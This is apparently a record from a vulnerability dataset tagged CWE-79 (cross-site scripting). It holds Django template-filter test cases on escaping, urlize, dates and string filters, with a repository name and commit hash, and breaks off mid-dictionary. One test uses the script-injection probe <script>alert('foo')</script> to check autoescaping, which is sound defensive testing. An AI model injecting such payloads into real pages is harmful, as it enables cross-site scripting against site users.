        'length05': ('{{ int|length }}', {'int': 7}, ''),
        'length06': ('{{ None|length }}', {'None': None}, ''),

        # length_is filter.
        'length_is01': ('{% if some_list|length_is:""4"" %}Four{% endif %}', {'some_list': ['4', None, True, {}]}, 'Four'),
        'length_is02': ('{% if some_list|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'some_list': ['4', None, True, {}, 17]}, 'Not Four'),
        'length_is03': ('{% if mystring|length_is:""4"" %}Four{% endif %}', {'mystring': 'word'}, 'Four'),
        'length_is04': ('{% if mystring|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'mystring': 'Python'}, 'Not Four'),
        'length_is05': ('{% if mystring|length_is:""4"" %}Four{% else %}Not Four{% endif %}', {'mystring': ''}, 'Not Four'),
        'length_is06': ('{% with var|length as my_length %}{{ my_length }}{% endwith %}', {'var': 'django'}, '6'),
        # Boolean return value from length_is should not be coerced to a string
        'length_is07': (r'{% if ""X""|length_is:0 %}Length is 0{% else %}Length not 0{% endif %}', {}, 'Length not 0'),
        'length_is08': (r'{% if ""X""|length_is:1 %}Length is 1{% else %}Length not 1{% endif %}', {}, 'Length is 1'),
        # Invalid uses that should fail silently.
        'length_is09': ('{{ var|length_is:""fish"" }}', {'var': 'django'}, ''),
        'length_is10': ('{{ int|length_is:""1"" }}', {'int': 7}, ''),
        'length_is11': ('{{ none|length_is:""1"" }}', {'none': None}, ''),

        'join01': (r'{{ a|join:"", "" }}', {'a': ['alpha', 'beta & me']}, 'alpha, beta &amp; me'),
        'join02': (r'{% autoescape off %}{{ a|join:"", "" }}{% endautoescape %}', {'a': ['alpha', 'beta & me']}, 'alpha, beta & me'),
        'join03': (r'{{ a|join:"" &amp; "" }}', {'a': ['alpha', 'beta & me']}, 'alpha &amp; beta &amp; me'),
        'join04': (r'{% autoescape off %}{{ a|join:"" &amp; "" }}{% endautoescape %}', {'a': ['alpha', 'beta & me']}, 'alpha &amp; beta & me'),

        # Test that joining with unsafe joiners don't result in unsafe strings (#11377)
        'join05': (r'{{ a|join:var }}', {'a': ['alpha', 'beta & me'], 'var': ' & '}, 'alpha &amp; beta &amp; me'),
        'join06': (r'{{ a|join:var }}', {'a': ['alpha', 'beta & me'], 'var': mark_safe(' & ')}, 'alpha & beta &amp; me'),
        'join07': (r'{{ a|join:var|lower }}', {'a': ['Alpha', 'Beta & me'], 'var': ' & '}, 'alpha &amp; beta &amp; me'),
        'join08': (r'{{ a|join:var|lower }}', {'a': ['Alpha', 'Beta & me'], 'var': mark_safe(' & ')}, 'alpha & beta &amp; me'),

        'date01': (r'{{ d|date:""m"" }}', {'d': datetime(2008, 1, 1)}, '01'),
        'date02': (r'{{ d|date }}', {'d': datetime(2008, 1, 1)}, 'Jan. 1, 2008'),
        #Ticket 9520: Make sure |date doesn't blow up on non-dates
        'date03': (r'{{ d|date:""m"" }}', {'d': 'fail_string'}, ''),
        # ISO date formats
        'date04': (r'{{ d|date:""o"" }}', {'d': datetime(2008, 12, 29)}, '2009'),
        'date05': (r'{{ d|date:""o"" }}', {'d': datetime(2010, 1, 3)}, '2009'),
        # Timezone name
        'date06': (r'{{ d|date:""e"" }}', {'d': datetime(2009, 3, 12, tzinfo=timezone.get_fixed_timezone(30))}, '+0030'),
        'date07': (r'{{ d|date:""e"" }}', {'d': datetime(2009, 3, 12)}, ''),
        # Ticket 19370: Make sure |date doesn't blow up on a midnight time object
        'date08': (r'{{ t|date:""H:i"" }}', {'t': time(0, 1)}, '00:01'),
        'date09': (r'{{ t|date:""H:i"" }}', {'t': time(0, 0)}, '00:00'),
        # Ticket 20693: Add timezone support to built-in time template filter
        'time01': (r'{{ dt|time:""e:O:T:Z"" }}', {'dt': now_tz_i}, '+0315:+0315:+0315:11700'),
        'time02': (r'{{ dt|time:""e:T"" }}', {'dt': now}, ':' + now_tz.tzinfo.tzname(now_tz)),
        'time03': (r'{{ t|time:""P:e:O:T:Z"" }}', {'t': time(4, 0, tzinfo=timezone.get_fixed_timezone(30))}, '4 a.m.::::'),
        'time04': (r'{{ t|time:""P:e:O:T:Z"" }}', {'t': time(4, 0)}, '4 a.m.::::'),
        'time05': (r'{{ d|time:""P:e:O:T:Z"" }}', {'d': today}, ''),
        'time06': (r'{{ obj|time:""P:e:O:T:Z"" }}', {'obj': 'non-datetime-value'}, ''),

        # Tests for #11687 and #16676
        'add01': (r'{{ i|add:""5"" }}', {'i': 2000}, '2005'),
        'add02': (r'{{ i|add:""napis"" }}', {'i': 2000}, ''),
        'add03': (r'{{ i|add:16 }}', {'i': 'not_an_int'}, ''),
        'add04': (r'{{ i|add:""16"" }}', {'i': 'not_an_int'}, 'not_an_int16'),
        'add05': (r'{{ l1|add:l2 }}', {'l1': [1, 2], 'l2': [3, 4]}, '[1, 2, 3, 4]'),
        'add06': (r'{{ t1|add:t2 }}', {'t1': (3, 4), 't2': (1, 2)}, '(3, 4, 1, 2)'),
        'add07': (r'{{ d|add:t }}', {'d': date(2000, 1, 1), 't': timedelta(10)}, 'Jan. 11, 2000'),
    }",CWE-79,django/django,dfb4cb9970f86487f0aaa88c5dfcfafa31e4f430,"def get_filter_tests():
    now = datetime.now()
    now_tz = timezone.make_aware(now, timezone.get_default_timezone())
    now_tz_i = timezone.localtime(now_tz, timezone.get_fixed_timezone(195))
    today = date.today()

    # NOTE: \xa0 avoids wrapping between value and unit
    return {
        # Default compare with datetime.now()
        'filter-timesince01' : ('{{ a|timesince }}', {'a': datetime.now() + timedelta(minutes=-1, seconds = -10)}, '1\xa0minute'),
        'filter-timesince02' : ('{{ a|timesince }}', {'a': datetime.now() - timedelta(days=1, minutes = 1)}, '1\xa0day'),
        'filter-timesince03' : ('{{ a|timesince }}', {'a': datetime.now() - timedelta(hours=1, minutes=25, seconds = 10)}, '1\xa0hour, 25\xa0minutes'),

        # Compare to a given parameter
        'filter-timesince04' : ('{{ a|timesince:b }}', {'a':now - timedelta(days=2), 'b':now - timedelta(days=1)}, '1\xa0day'),
        'filter-timesince05' : ('{{ a|timesince:b }}', {'a':now - timedelta(days=2, minutes=1), 'b':now - timedelta(days=2)}, '1\xa0minute'),

        # Check that timezone is respected
        'filter-timesince06' : ('{{ a|timesince:b }}', {'a':now_tz - timedelta(hours=8), 'b':now_tz}, '8\xa0hours'),

        # Regression for #7443
        'filter-timesince07': ('{{ earlier|timesince }}', {'earlier': now - timedelta(days=7)}, '1\xa0week'),
        'filter-timesince08': ('{{ earlier|timesince:now }}', {'now': now, 'earlier': now - timedelta(days=7)}, '1\xa0week'),
        'filter-timesince09': ('{{ later|timesince }}', {'later': now + timedelta(days=7)}, '0\xa0minutes'),
        'filter-timesince10': ('{{ later|timesince:now }}', {'now': now, 'later': now + timedelta(days=7)}, '0\xa0minutes'),

        # Ensures that differing timezones are calculated correctly
        # Tests trying to compare a timezone-aware 'now' to now aren't supported on no-tz-support systems (e.g Windows).
        'filter-timesince11' : ('{{ a|timesince }}', {'a': now}, '0\xa0minutes'),
        'filter-timesince12' : ('{{ a|timesince }}', {'a': now_tz}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timesince13' : ('{{ a|timesince }}', {'a': now_tz_i}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timesince14' : ('{{ a|timesince:b }}', {'a': now_tz, 'b': now_tz_i}, '0\xa0minutes'),
        'filter-timesince15' : ('{{ a|timesince:b }}', {'a': now, 'b': now_tz_i}, ''),
        'filter-timesince16' : ('{{ a|timesince:b }}', {'a': now_tz_i, 'b': now}, ''),

        # Regression for #9065 (two date objects).
        'filter-timesince17' : ('{{ a|timesince:b }}', {'a': today, 'b': today}, '0\xa0minutes'),
        'filter-timesince18' : ('{{ a|timesince:b }}', {'a': today, 'b': today + timedelta(hours=24)}, '1\xa0day'),

        # Default compare with datetime.now()
        'filter-timeuntil01' : ('{{ a|timeuntil }}', {'a':datetime.now() + timedelta(minutes=2, seconds = 10)}, '2\xa0minutes'),
        'filter-timeuntil02' : ('{{ a|timeuntil }}', {'a':(datetime.now() + timedelta(days=1, seconds = 10))}, '1\xa0day'),
        'filter-timeuntil03' : ('{{ a|timeuntil }}', {'a':(datetime.now() + timedelta(hours=8, minutes=10, seconds = 10))}, '8\xa0hours, 10\xa0minutes'),

        # Compare to a given parameter
        'filter-timeuntil04' : ('{{ a|timeuntil:b }}', {'a':now - timedelta(days=1), 'b':now - timedelta(days=2)}, '1\xa0day'),
        'filter-timeuntil05' : ('{{ a|timeuntil:b }}', {'a':now - timedelta(days=2), 'b':now - timedelta(days=2, minutes=1)}, '1\xa0minute'),

        # Regression for #7443
        'filter-timeuntil06': ('{{ earlier|timeuntil }}', {'earlier': now - timedelta(days=7)}, '0\xa0minutes'),
        'filter-timeuntil07': ('{{ earlier|timeuntil:now }}', {'now': now, 'earlier': now - timedelta(days=7)}, '0\xa0minutes'),
        'filter-timeuntil08': ('{{ later|timeuntil }}', {'later': now + timedelta(days=7, hours=1)}, '1\xa0week'),
        'filter-timeuntil09': ('{{ later|timeuntil:now }}', {'now': now, 'later': now + timedelta(days=7)}, '1\xa0week'),

        # Ensures that differing timezones are calculated correctly
        # Tests trying to compare a timezone-aware 'now' to now aren't supported on no-tz-support systems (e.g Windows).
        'filter-timeuntil10' : ('{{ a|timeuntil }}', {'a': now_tz}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timeuntil11' : ('{{ a|timeuntil }}', {'a': now_tz_i}, '0\xa0minutes') if TZ_SUPPORT else ('', {}, ''),
        'filter-timeuntil12' : ('{{ a|timeuntil:b }}', {'a': now_tz_i, 'b': now_tz}, '0\xa0minutes'),

        # Regression for #9065 (two date objects).
        'filter-timeuntil13' : ('{{ a|timeuntil:b }}', {'a': today, 'b': today}, '0\xa0minutes'),
        'filter-timeuntil14' : ('{{ a|timeuntil:b }}', {'a': today, 'b': today - timedelta(hours=24)}, '1\xa0day'),

        'filter-addslash01': (""{% autoescape off %}{{ a|addslashes }} {{ b|addslashes }}{% endautoescape %}"", {""a"": ""<a>'"", ""b"": mark_safe(""<a>'"")}, r""<a>\' <a>\'""),
        'filter-addslash02': (""{{ a|addslashes }} {{ b|addslashes }}"", {""a"": ""<a>'"", ""b"": mark_safe(""<a>'"")}, r""&lt;a&gt;\&#39; <a>\'""),

        'filter-capfirst01': (""{% autoescape off %}{{ a|capfirst }} {{ b|capfirst }}{% endautoescape %}"", {""a"": ""fred>"", ""b"": mark_safe(""fred&gt;"")}, ""Fred> Fred&gt;""),
        'filter-capfirst02': (""{{ a|capfirst }} {{ b|capfirst }}"", {""a"": ""fred>"", ""b"": mark_safe(""fred&gt;"")}, ""Fred&gt; Fred&gt;""),

        # Note that applying fix_ampsersands in autoescape mode leads to
        # double escaping.
        'filter-fix_ampersands01': (""{% autoescape off %}{{ a|fix_ampersands }} {{ b|fix_ampersands }}{% endautoescape %}"", {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""a&amp;b a&amp;b""),
        'filter-fix_ampersands02': (""{{ a|fix_ampersands }} {{ b|fix_ampersands }}"", {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""a&amp;amp;b a&amp;b""),

        'filter-floatformat01': (""{% autoescape off %}{{ a|floatformat }} {{ b|floatformat }}{% endautoescape %}"", {""a"": ""1.42"", ""b"": mark_safe(""1.42"")}, ""1.4 1.4""),
        'filter-floatformat02': (""{{ a|floatformat }} {{ b|floatformat }}"", {""a"": ""1.42"", ""b"": mark_safe(""1.42"")}, ""1.4 1.4""),

        # The contents of ""linenumbers"" is escaped according to the current
        # autoescape setting.
        'filter-linenumbers01': (""{{ a|linenumbers }} {{ b|linenumbers }}"", {""a"": ""one\n<two>\nthree"", ""b"": mark_safe(""one\n&lt;two&gt;\nthree"")}, ""1. one\n2. &lt;two&gt;\n3. three 1. one\n2. &lt;two&gt;\n3. three""),
        'filter-linenumbers02': (""{% autoescape off %}{{ a|linenumbers }} {{ b|linenumbers }}{% endautoescape %}"", {""a"": ""one\n<two>\nthree"", ""b"": mark_safe(""one\n&lt;two&gt;\nthree"")}, ""1. one\n2. <two>\n3. three 1. one\n2. &lt;two&gt;\n3. three""),

        'filter-lower01': (""{% autoescape off %}{{ a|lower }} {{ b|lower }}{% endautoescape %}"", {""a"": ""Apple & banana"", ""b"": mark_safe(""Apple &amp; banana"")}, ""apple & banana apple &amp; banana""),
        'filter-lower02': (""{{ a|lower }} {{ b|lower }}"", {""a"": ""Apple & banana"", ""b"": mark_safe(""Apple &amp; banana"")}, ""apple &amp; banana apple &amp; banana""),

        # The make_list filter can destroy existing escaping, so the results are
        # escaped.
        'filter-make_list01': (""{% autoescape off %}{{ a|make_list }}{% endautoescape %}"", {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),
        'filter-make_list02': (""{{ a|make_list }}"", {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s&#39;&amp;&#39;]"")),
        'filter-make_list03': ('{% autoescape off %}{{ a|make_list|stringformat:""s""|safe }}{% endautoescape %}', {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),
        'filter-make_list04': ('{{ a|make_list|stringformat:""s""|safe }}', {""a"": mark_safe(""&"")}, str_prefix(""[%(_)s'&']"")),

        # Running slugify on a pre-escaped string leads to odd behavior,
        # but the result is still safe.
        'filter-slugify01': (""{% autoescape off %}{{ a|slugify }} {{ b|slugify }}{% endautoescape %}"", {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""a-b a-amp-b""),
        'filter-slugify02': (""{{ a|slugify }} {{ b|slugify }}"", {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""a-b a-amp-b""),

        # Notice that escaping is applied *after* any filters, so the string
        # formatting here only needs to deal with pre-escaped characters.
        'filter-stringformat01': ('{% autoescape off %}.{{ a|stringformat:""5s"" }}. .{{ b|stringformat:""5s"" }}.{% endautoescape %}',
            {""a"": ""a<b"", ""b"": mark_safe(""a<b"")}, "".  a<b. .  a<b.""),
        'filter-stringformat02': ('.{{ a|stringformat:""5s"" }}. .{{ b|stringformat:""5s"" }}.', {""a"": ""a<b"", ""b"": mark_safe(""a<b"")},
            "".  a&lt;b. .  a<b.""),

        # Test the title filter
        'filter-title1' : ('{{ a|title }}', {'a' : 'JOE\'S CRAB SHACK'}, 'Joe&#39;s Crab Shack'),
        'filter-title2' : ('{{ a|title }}', {'a' : '555 WEST 53RD STREET'}, '555 West 53rd Street'),

        'filter-truncatewords01': ('{% autoescape off %}{{ a|truncatewords:""2"" }} {{ b|truncatewords:""2""}}{% endautoescape %}',
            {""a"": ""alpha & bravo"", ""b"": mark_safe(""alpha &amp; bravo"")}, ""alpha & ... alpha &amp; ...""),
        'filter-truncatewords02': ('{{ a|truncatewords:""2"" }} {{ b|truncatewords:""2""}}',
            {""a"": ""alpha & bravo"", ""b"": mark_safe(""alpha &amp; bravo"")}, ""alpha &amp; ... alpha &amp; ...""),

        'filter-truncatechars01': ('{{ a|truncatechars:5 }}', {'a': ""Testing, testing""}, ""Te...""),
        'filter-truncatechars02': ('{{ a|truncatechars:7 }}', {'a': ""Testing""}, ""Testing""),

        # The ""upper"" filter messes up entities (which are case-sensitive),
        # so it's not safe for non-escaping purposes.
        'filter-upper01': ('{% autoescape off %}{{ a|upper }} {{ b|upper }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""A & B A &AMP; B""),
        'filter-upper02': ('{{ a|upper }} {{ b|upper }}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""A &amp; B A &amp;AMP; B""),

        'filter-urlize01': ('{% autoescape off %}{{ a|urlize }} {{ b|urlize }}{% endautoescape %}', {""a"": ""http://example.com/?x=&y="", ""b"": mark_safe(""http://example.com?x=&amp;y="")}, '<a href=""http://example.com/?x=&y="" rel=""nofollow"">http://example.com/?x=&y=</a> <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http://example.com?x=&amp;y=</a>'),
        'filter-urlize02': ('{{ a|urlize }} {{ b|urlize }}', {""a"": ""http://example.com/?x=&y="", ""b"": mark_safe(""http://example.com?x=&amp;y="")}, '<a href=""http://example.com/?x=&amp;y="" rel=""nofollow"">http://example.com/?x=&amp;y=</a> <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http://example.com?x=&amp;y=</a>'),
        'filter-urlize03': ('{% autoescape off %}{{ a|urlize }}{% endautoescape %}', {""a"": mark_safe(""a &amp; b"")}, 'a &amp; b'),
        'filter-urlize04': ('{{ a|urlize }}', {""a"": mark_safe(""a &amp; b"")}, 'a &amp; b'),

        # This will lead to a nonsense result, but at least it won't be
        # exploitable for XSS purposes when auto-escaping is on.
        'filter-urlize05': ('{% autoescape off %}{{ a|urlize }}{% endautoescape %}', {""a"": ""<script>alert('foo')</script>""}, ""<script>alert('foo')</script>""),
        'filter-urlize06': ('{{ a|urlize }}', {""a"": ""<script>alert('foo')</script>""}, '&lt;script&gt;alert(&#39;foo&#39;)&lt;/script&gt;'),

        # mailto: testing for urlize
        'filter-urlize07': ('{{ a|urlize }}', {""a"": ""Email me at me@example.com""}, 'Email me at <a href=""mailto:me@example.com"">me@example.com</a>'),
        'filter-urlize08': ('{{ a|urlize }}', {""a"": ""Email me at <me@example.com>""}, 'Email me at &lt;<a href=""mailto:me@example.com"">me@example.com</a>&gt;'),

        'filter-urlizetrunc01': ('{% autoescape off %}{{ a|urlizetrunc:""8"" }} {{ b|urlizetrunc:""8"" }}{% endautoescape %}', {""a"": '""Unsafe"" http://example.com/x=&y=', ""b"": mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y=')}, '""Unsafe"" <a href=""http://example.com/x=&y="" rel=""nofollow"">http:...</a> &quot;Safe&quot; <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http:...</a>'),
        'filter-urlizetrunc02': ('{{ a|urlizetrunc:""8"" }} {{ b|urlizetrunc:""8"" }}', {""a"": '""Unsafe"" http://example.com/x=&y=', ""b"": mark_safe('&quot;Safe&quot; http://example.com?x=&amp;y=')}, '&quot;Unsafe&quot; <a href=""http://example.com/x=&amp;y="" rel=""nofollow"">http:...</a> &quot;Safe&quot; <a href=""http://example.com?x=&amp;y="" rel=""nofollow"">http:...</a>'),

        'filter-wordcount01': ('{% autoescape off %}{{ a|wordcount }} {{ b|wordcount }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""3 3""),
        'filter-wordcount02': ('{{ a|wordcount }} {{ b|wordcount }}', {""a"": ""a & b"", ""b"": mark_safe(""a &amp; b"")}, ""3 3""),

        'filter-wordwrap01': ('{% autoescape off %}{{ a|wordwrap:""3"" }} {{ b|wordwrap:""3"" }}{% endautoescape %}', {""a"": ""a & b"", ""b"": mark_safe(""a & b"")}, ""a &\nb a &\nb""),
        'filter-wordwrap02': ('{{ a|wordwrap:""3"" }} {{ b|wordwrap:""3"" }}', {""a"": ""a & b"", ""b"": mark_safe(""a & b"")}, ""a &amp;\nb a &\nb""),

        'filter-ljust01': ('{% autoescape off %}.{{ a|ljust:""5"" }}. .{{ b|ljust:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".a&b  . .a&b  .""),
        'filter-ljust02': ('.{{ a|ljust:""5"" }}. .{{ b|ljust:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".a&amp;b  . .a&b  .""),

        'filter-rjust01': ('{% autoescape off %}.{{ a|rjust:""5"" }}. .{{ b|rjust:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".  a&b. .  a&b.""),
        'filter-rjust02': ('.{{ a|rjust:""5"" }}. .{{ b|rjust:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "".  a&amp;b. .  a&b.""),

        'filter-center01': ('{% autoescape off %}.{{ a|center:""5"" }}. .{{ b|center:""5"" }}.{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "". a&b . . a&b .""),
        'filter-center02': ('.{{ a|center:""5"" }}. .{{ b|center:""5"" }}.', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, "". a&amp;b . . a&b .""),

        'filter-cut01': ('{% autoescape off %}{{ a|cut:""x"" }} {{ b|cut:""x"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""&y &amp;y""),
        'filter-cut02': ('{{ a|cut:""x"" }} {{ b|cut:""x"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""&amp;y &amp;y""),
        'filter-cut03': ('{% autoescape off %}{{ a|cut:""&"" }} {{ b|cut:""&"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""xy xamp;y""),
        'filter-cut04': ('{{ a|cut:""&"" }} {{ b|cut:""&"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""xy xamp;y""),
        # Passing ';' to cut can break existing HTML entities, so those strings
        # are auto-escaped.
        'filter-cut05': ('{% autoescape off %}{{ a|cut:"";"" }} {{ b|cut:"";"" }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""x&y x&ampy""),
        'filter-cut06': ('{{ a|cut:"";"" }} {{ b|cut:"";"" }}', {""a"": ""x&y"", ""b"": mark_safe(""x&amp;y"")}, ""x&amp;y x&amp;ampy""),

        # The ""escape"" filter works the same whether autoescape is on or off,
        # but it has no effect on strings already marked as safe.
        'filter-escape01': ('{{ a|escape }} {{ b|escape }}', {""a"": ""x&y"", ""b"": mark_safe(""x&y"")}, ""x&amp;y x&y""),
        'filter-escape02': ('{% autoescape off %}{{ a|escape }} {{ b|escape }}{% endautoescape %}', {""a"": ""x&y"", ""b"": mark_safe(""x&y"")}, ""x&amp;y x&y""),

        # It is only applied once, regardless of the number of times it
        # appears in a chain.
        'filter-escape03': ('{% autoescape off %}{{ a|escape|escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-escape04': ('{{ a|escape|escape }}', {""a"": ""x&y""}, ""x&amp;y""),

        # Force_escape is applied immediately. It can be used to provide
        # double-escaping, for example.
        'filter-force-escape01': ('{% autoescape off %}{{ a|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape02': ('{{ a|force_escape }}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape03': ('{% autoescape off %}{{ a|force_escape|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;amp;y""),
        'filter-force-escape04': ('{{ a|force_escape|force_escape }}', {""a"": ""x&y""}, ""x&amp;amp;y""),

        # Because the result of force_escape is ""safe"", an additional
        # escape filter has no effect.
        'filter-force-escape05': ('{% autoescape off %}{{ a|force_escape|escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape06': ('{{ a|force_escape|escape }}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape07': ('{% autoescape off %}{{ a|escape|force_escape }}{% endautoescape %}', {""a"": ""x&y""}, ""x&amp;y""),
        'filter-force-escape08': ('{{ a|escape|force_escape }}', {""a"": ""x&y""}, ""x&amp;y""),

        # The contents in ""linebreaks"" and ""linebreaksbr"" are escaped
        # according to the current autoescape setting.
        'filter-linebreaks01': ('{{ a|linebreaks }} {{ b|linebreaks }}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""<p>x&amp;<br />y</p> <p>x&<br />y</p>""),
        'filter-linebreaks02': ('{% autoescape off %}{{ a|linebreaks }} {{ b|linebreaks }}{% endautoescape %}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""<p>x&<br />y</p> <p>x&<br />y</p>""),

        'filter-linebreaksbr01': ('{{ a|linebreaksbr }} {{ b|linebreaksbr }}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""x&amp;<br />y x&<br />y""),
        'filter-linebreaksbr02': ('{% autoescape off %}{{ a|linebreaksbr }} {{ b|linebreaksbr }}{% endautoescape %}', {""a"": ""x&\ny"", ""b"": mark_safe(""x&\ny"")}, ""x&<br />y x&<br />y""),

        'filter-safe01': (""{{ a }} -- {{ a|safe }}"", {""a"": ""<b>hello</b>""}, ""&lt;b&gt;hello&lt;/b&gt; -- <b>hello</b>""),
        'filter-safe02': (""{% autoescape off %}{{ a }} -- {{ a|safe }}{% endautoescape %}"", {""a"": ""<b>hello</b>""}, ""<b>hello</b> -- <b>hello</b>""),

        'filter-safeseq01': ('{{ a|join:"", "" }} -- {{ a|safeseq|join:"", "" }}', {""a"": [""&"", ""<""]}, ""&amp;, &lt; -- &, <""),
        'filter-safeseq02': ('{% autoescape off %}{{ a|join:"", "" }} -- {{ a|safeseq|join:"", "" }}{% endautoescape %}', {""a"": [""&"", ""<""]}, ""&, < -- &, <""),

        'filter-removetags01': ('{{ a|removetags:""a b"" }} {{ b|removetags:""a b"" }}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x &lt;p&gt;y&lt;/p&gt; x <p>y</p>""),
        'filter-removetags02': ('{% autoescape off %}{{ a|removetags:""a b"" }} {{ b|removetags:""a b"" }}{% endautoescape %}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x <p>y</p> x <p>y</p>""),

        'filter-striptags01': ('{{ a|striptags }} {{ b|striptags }}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x y x y""),
        'filter-striptags02': ('{% autoescape off %}{{ a|striptags }} {{ b|striptags }}{% endautoescape %}', {""a"": ""<a>x</a> <p><b>y</b></p>"", ""b"": mark_safe(""<a>x</a> <p><b>y</b></p>"")}, ""x y x y""),

        'filter-first01': ('{{ a|first }} {{ b|first }}', {""a"": [""a&b"", ""x""], ""b"": [mark_safe(""a&b""), ""x""]}, ""a&amp;b a&b""),
        'filter-first02': ('{% autoescape off %}{{ a|first }} {{ b|first }}{% endautoescape %}', {""a"": [""a&b"", ""x""], ""b"": [mark_safe(""a&b""), ""x""]}, ""a&b a&b""),

        'filter-last01': ('{{ a|last }} {{ b|last }}', {""a"": [""x"", ""a&b""], ""b"": [""x"", mark_safe(""a&b"")]}, ""a&amp;b a&b""),
        'filter-last02': ('{% autoescape off %}{{ a|last }} {{ b|last }}{% endautoescape %}', {""a"": [""x"", ""a&b""], ""b"": [""x"", mark_safe(""a&b"")]}, ""a&b a&b""),

        'filter-random01': ('{{ a|random }} {{ b|random }}', {""a"": [""a&b"", ""a&b""], ""b"": [mark_safe(""a&b""), mark_safe(""a&b"")]}, ""a&amp;b a&b""),
        'filter-random02': ('{% autoescape off %}{{ a|random }} {{ b|random }}{% endautoescape %}', {""a"": [""a&b"", ""a&b""], ""b"": [mark_safe(""a&b""), mark_safe(""a&b"")]}, ""a&b a&b""),

        'filter-slice01': ('{{ a|slice:""1:3"" }} {{ b|slice:""1:3"" }}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""&amp;b &b""),
        'filter-slice02': ('{% autoescape off %}{{ a|slice:""1:3"" }} {{ b|slice:""1:3"" }}{% endautoescape %}', {""a"": ""a&b"", ""b"": mark_safe(""a&b"")}, ""&b &b""),

        'filter-unordered_list01': ('{{ a|unordered_list }}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x&gt;\n\t<ul>\n\t\t<li>&lt;y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list02': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list03': ('{{ a|unordered_list }}', {""a"": [""x>"", [[mark_safe(""<y""), []]]]}, ""\t<li>x&gt;\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list04': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[mark_safe(""<y""), []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),
        'filter-unordered_list05': ('{% autoescape off %}{{ a|unordered_list }}{% endautoescape %}', {""a"": [""x>"", [[""<y"", []]]]}, ""\t<li>x>\n\t<ul>\n\t\t<li><y</li>\n\t</ul>\n\t</li>""),

        # Literal string arguments to the default filter are always treated as
        # safe strings, regardless of the auto-escaping state.
        #
        # Note: we have to use {""a"": """"} here, otherwise the invalid template
        # variable string interferes with the test result.
        'filter-default01': ('{{ a|default:""x<"" }}', {""a"": """"}, ""x<""),
        'filter-default02': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": """"}, ""x<""),
        'filter-default03': ('{{ a|default:""x<"" }}', {""a"": mark_safe(""x>"")}, ""x>""),
        'filter-default04': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": mark_safe(""x>"")}, ""x>""),

        'filter-default_if_none01': ('{{ a|default:""x<"" }}', {""a"": None}, ""x<""),
        'filter-default_if_none02': ('{% autoescape off %}{{ a|default:""x<"" }}{% endautoescape %}', {""a"": None}, ""x<""),

        'filter-phone2numeric01': ('{{ a|phone2numeric }} {{ b|phone2numeric }}', {""a"": ""<1-800-call-me>"", ""b"": mark_safe(""<1-800-call-me>"")}, ""&lt;1-800-2255-63&gt; <1-800-2255-63>""),
